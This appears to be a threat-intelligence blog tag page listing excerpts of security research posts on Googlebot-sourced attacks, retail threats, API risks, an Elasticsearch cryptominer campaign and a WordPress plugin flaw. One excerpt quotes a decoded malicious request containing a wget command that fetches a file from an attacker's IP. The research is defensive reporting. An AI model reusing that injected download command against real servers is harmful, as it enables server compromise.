Tag: Services Tier
Imagine you’re a military leader. What if I offered you a weapon to cleanly take out enemy infrastructure with minimal incidental civilian deaths? It has near-infinite operational reach and it’s highly stealthy. Oh, and it’s cheap compared to say, strategic missiles, which cost about a million or so dollars apiece.1 Well, have I got a…
Read MoreWhile investigating a recent threat campaign, F5 researchers encountered a strange behaviour where malicious requests were originating from legitimate Googlebot servers. This relatively infrequent behavior could potentially have serious consequences in environments where the trust level given to Googlebot influences an organization’s security decisions. The Trust Paradox Google’s official support site advises to “make sure…
Read MoreData from the Retail Cyber Intelligence Sharing Center (R-CISC) echoes the F5 SOC findings and shows that dramatic increases in shopping activity actually continue into January, making retailers a likely target of attackers.1 In a 2018 survey of R-CISC members, respondents expressed their concern, identifying phishing, credential compromise, and account takeover (ATO) among their top…
Read MoreIntroduction In the 2018 Application Protection Report, we mentioned the potential vulnerabilities associated with application programming interfaces (APIs). These APIs specify how various application components and clients should autonomously interact with each other to deliver the application experience. Through APIs, software services exchange commands and data. Because of this, APIs are tantalizing morsels for predators…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
Read MoreConclusion Continuing the trend from January, threat actors in February delivered crypto-miners and Mirai variants. Most of the vulnerabilities exploited in February are not new, however, they are known vulnerabilities in popular applications and systems. In these cases, a threat actor is not looking for a specific target, but instead tries to exploit as many…
Read MoreRecently, threat researchers from F5 Networks spotted a new campaign targeting Elasticsearch systems. It leverages an exploit from 2014 to spread several new malwares designed to deploy an XMR (Monero) mining operation. The campaign exploits a five-year-old vulnerability (CVE-2014-3120) in Elasticsearch systems running on both Windows and Linux platforms to mine XMR cryptocurrency. On Linux,…
Read MoreIntroduction This year we are releasing our 2019 Application Protection Report as a series of short, tightly focused episodes. This helps ensure we provide timely threat intelligence that our readers can add to their own threat models and use to prepare appropriate defenses and responses. Last episode, we focused on PHP’s continuing run as one…
Read MoreAs we can see in Figure 8, the developers for SG Optimizer added a permission_callback command to the newly registered REST API routes. This indicates that prior to version 5.0.13, the SG Optimizer plugin had various privilege escalation vulnerabilities. Those vulnerabilities allowed any threat actor to send a malicious request to these registered REST API…
Read MoreThe table in Figure 4 shows the top 50 ASNs attacking Australia from Dec 1, 2018 to March 1, 2019 in order of highest to lowest number of attacks. Interestingly, these top 50 networks were split fifty-fifty between ISPs and hosting companies whereas the company types attacking other regions lean heavier towards ISPs. For comparison,…
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